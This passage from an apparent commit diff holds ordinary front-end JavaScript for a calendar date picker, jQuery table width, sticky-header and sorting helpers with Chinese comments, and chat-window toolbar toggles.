opt = "<select onblur='selectThisYear(this)' onchange='selectThisYear(this)' style='font-size:11px'>"+opt+"</select>";
obj.parentNode.innerHTML = opt;
}
function selectThisYear(obj){
HS_calender(obj.value+"-"+obj.parentNode.parentNode.getElementsByTagName("span")[1].getElementsByTagName("a")[0].innerHTML+"-1",obj.parentNode);
}
function CalenderselectMonth(obj){
var opt = "";
var thisMonth = obj.innerHTML;
for (i=1; i<=12; i++){
if (i==thisMonth){
opt += "<option value="+i+" selected>"+i+"</option>";
}else{
opt += "<option value="+i+">"+i+"</option>";
}
}
opt = "<select onblur='selectThisMonth(this)' onchange='selectThisMonth(this)' style='font-size:11px'>"+opt+"</select>";
obj.parentNode.innerHTML = opt;
}
function selectThisMonth(obj){
HS_calender(obj.parentNode.parentNode.getElementsByTagName("span")[0].getElementsByTagName("a")[0].innerHTML+"-"+obj.value+"-1",obj.parentNode);
}
function HS_setDate(inputObj){
var calenderObj = document.createElement("span");
calenderObj.innerHTML = HS_calender(new Date());
calenderObj.style.position = "absolute";
calenderObj.targetObj = inputObj;
inputObj.parentNode.insertBefore(calenderObj,inputObj.nextSibling);
}
+265
View File
@@ -0,0 +1,265 @@
$(document).ready(function(e) {
//表格自动获取宽度。
//要注意的是,在定义表头宽度时,要确保此列最宽的内容的宽度要小于本TH之宽度。
//表格自动获取该表格的表头所有TH的宽度之和,注意表头的TH的宽度,要用th width="x"这种形式,不要用style="width:100px"这种。
$(".tytable2").each(function(index, element) {
thisthsum=$(this).find("th").length;
var thistbwidth=0;
for(i=0;i<thisthsum;i++){
thistbwidth+=parseInt($(this).find("th").eq(i).attr("width"));
}
$(this).attr("width",thistbwidth+thisthsum+1);
});
//表格自动获取对应表头的宽度。注意表头的TH的宽度,要用th width="x"这种形式,不要用style="width:100px"这种。
$(".tytable2").find("td").each(function(index, element) {
$(this).attr("width",parseInt($(this).parents("table").find("th").eq($(this).index()).attr("width")));
});
tytable2auto();
//表格单隔行变色效果 本项目中暂去掉
/* $(".tytable2 tbody").find("tr:even").addClass("trbgfff");
$(".tytable2 tbody").find("tr:odd").addClass("trbgf8");*/
});
$(window).resize(function(e) {
tytable2auto();
});
function tytable2auto(){
$(".tytable2").each(function(index, element) {
if($(this).width()<$(this).parents(".tytable2BOX").width()){
$(this).width($(this).parents(".tytable2BOX").width()-2);
}
});
}
//表头固定 我重写一个
function scrollo(viewid,scrollid,size){
var scrollo = document.getElementById(scrollid);
var tb1 = document.getElementById(viewid);
tb1id=$("#"+viewid).attr("id");
var tb2html='<table border="0" cellspacing="0" cellpadding="0" class="tytable2" id="'+tb1id+'_2" width="'+$("#"+viewid).width()+'" style="position:absolute;top:0;left:0;">';
tb2html+=$("#"+viewid).html();
tb2html+='</table>'
var tb2 = tb2html;
$("#"+scrollid).append(tb2)
$("#"+viewid+"_2").find("tbody").css("display","none");
$("#"+viewid+"_2").find("tbody").attr("id",$("#"+viewid).find("tbody").attr("id")+"_2")
scrollo.onscroll = function(){
$("#"+viewid+"_2").css("top",this.scrollTop+"px");
}/* */
}
//表头固定 结束
//表格排序
function sortTable(id, col, rev){
var tblEl = document.getElementById(id);
if(tblEl.reverseSort == null){
tblEl.reverseSort = new Array();
tblEl.lastColumn = 1;
}
if(tblEl.reverseSort[col] == null)
tblEl.reverseSort[col] = rev;
if(col == tblEl.lastColumn)
tblEl.reverseSort[col] = !tblEl.reverseSort[col];
tblEl.lastColumn = col;
var oldDsply = tblEl.style.display;
tblEl.style.display = "none";
var tmpEl;
var i, j;
var minVal, minIdx;
var testVal;
var cmp;
for(i = 0; i < tblEl.rows.length - 1; i++){
minIdx = i;
minVal = getTextValue(tblEl.rows[i].cells[col]);
for(j = i + 1; j < tblEl.rows.length; j++){
testVal = getTextValue(tblEl.rows[j].cells[col]);
cmp = compareValues(minVal, testVal);
if(tblEl.reverseSort[col])
cmp = -cmp;
if (cmp == 0 && col != 1)
cmp = compareValues(
getTextValue(tblEl.rows[minIdx].cells[1]),
getTextValue(tblEl.rows[j].cells[1])
);
if(cmp > 0){
minIdx = j;
minVal = testVal;
}
}
if(minIdx > i){
tmpEl = tblEl.removeChild(tblEl.rows[minIdx]);
tblEl.insertBefore(tmpEl, tblEl.rows[i]);
}
}
makePretty(tblEl, col);
setRanks(tblEl, col, rev);
tblEl.style.display = oldDsply;
return false;
}
if(document.ELEMENT_NODE == null){
document.ELEMENT_NODE = 1;
document.TEXT_NODE = 3;
}
function getTextValue(el){
var i;
var s;
s = "";
for(i = 0; i < el.childNodes.length; i++)
if(el.childNodes[i].nodeType == document.TEXT_NODE)
s += el.childNodes[i].nodeValue;
else if (el.childNodes[i].nodeType == document.ELEMENT_NODE && el.childNodes[i].tagName == "BR")
s += " ";
else s += getTextValue(el.childNodes[i]);
return normalizeString(s);
}
function compareValues(v1, v2){
var f1, f2;
f1 = parseFloat(v1);
f2 = parseFloat(v2);
if(!isNaN(f1) && !isNaN(f2)){
v1 = f1;
v2 = f2;
}
if(v1 == v2)
return 0;
if(v1 > v2)
return 1
return -1;
}
var whtSpEnds = new RegExp("^\\s*|\\s*$", "g");
var whtSpMult = new RegExp("\\s\\s+", "g");
function normalizeString(s){
s = s.replace(whtSpMult, " ");
s = s.replace(whtSpEnds, "");
return s;
}
var rowClsNm = "alternaterow";
var colClsNm = "sortedcolumn";
var rowTest = new RegExp(rowClsNm, "gi");
var colTest = new RegExp(colClsNm, "gi");
function makePretty(tblEl, col){
var i, j;
var rowEl, cellEl;
for(i = 0; i < tblEl.rows.length; i++){
rowEl = tblEl.rows[i];
rowEl.className = rowEl.className.replace(rowTest, "");
if(i % 2 != 0)
rowEl.className += " " + rowClsNm;
rowEl.className = normalizeString(rowEl.className);
for (j = 2; j < tblEl.rows[i].cells.length; j++){
cellEl = rowEl.cells[j];
cellEl.className = cellEl.className.replace(colTest, "");
if (j == col)
cellEl.className += " " + colClsNm;
cellEl.className = normalizeString(cellEl.className);
}
}
var el = tblEl.parentNode.tHead;
rowEl = el.rows[el.rows.length - 1];
for(i = 2; i < rowEl.cells.length; i++){
cellEl = rowEl.cells[i];
cellEl.className = cellEl.className.replace(colTest, "");
if(i == col)
cellEl.className += " " + colClsNm;
cellEl.className = normalizeString(cellEl.className);
}
}
function setRanks(tblEl, col, rev){
var i = 0;
var incr = 1;
if(tblEl.reverseSort[col])
rev = !rev;
if(rev){
incr = -1;
i = tblEl.rows.length - 1;
}
//我补充,用判断是否升、降序来控制背景
if(rev){
pxbiaoshi=1;
}else{
pxbiaoshi=2;
}/* */
$("th").find("a").click(function(e) {
$(this).parents("tr").find("th a").removeClass("bgsx");
$(this).parents("tr").find("th a").removeClass("bgjx");
if(pxbiaoshi==1){
$(this).addClass("bgsx");
}
if(pxbiaoshi==2){
$(this).addClass("bgjx");
}
});/**/
//补充结束
var count = 1;
var rank = count;
var curVal;
var lastVal = null;
while(col > 1 && i >= 0 && i < tblEl.rows.length){
curVal = getTextValue(tblEl.rows[i].cells[col]);
if(lastVal != null && compareValues(curVal, lastVal) != 0)
rank = count;
tblEl.rows[i].rank = rank;
lastVal = curVal;
count++;
i += incr;
}
var rowEl, cellEl;
var lastRank = 0;
/*for(i = 0; i < tblEl.rows.length; i++){
rowEl = tblEl.rows[i];
cellEl = rowEl.cells[0];
while(cellEl.lastChild != null)
cellEl.removeChild(cellEl.lastChild);
if(col > 1 && rowEl.rank != lastRank){
cellEl.appendChild(document.createTextNode(rowEl.rank));
lastRank = rowEl.rank;
}
}*/
}
+6
View File
@@ -0,0 +1,6 @@
//依据非IFRAME加载内容方式,头部导航判断
$(document).ready(function(e) {
});
File diff suppressed because one or more lines are too long
+32
View File
@@ -0,0 +1,32 @@
//对话
$(document).ready(function(e) {
//工具操作
$(".toolbar .vol_ok").click(function(e) {
$(this).hide();
$(".toolbar .vol_no").show();
});
$(".toolbar .vol_no").click(function(e) {
$(this).hide();
$(".toolbar .vol_ok").show();
});
$(".toolbar .win_max").click(function(e) {
$(this).hide();
$(".toolbar .win_back").show();
});
$(".toolbar .win_back").click(function(e) {
$(this).hide();
$(".toolbar .win_max").show();
});
$(".toolbar .win_hide").click(function(e) {
$(".wegmsgbox").hide();
});
});
$(window).resize(function(e) {
});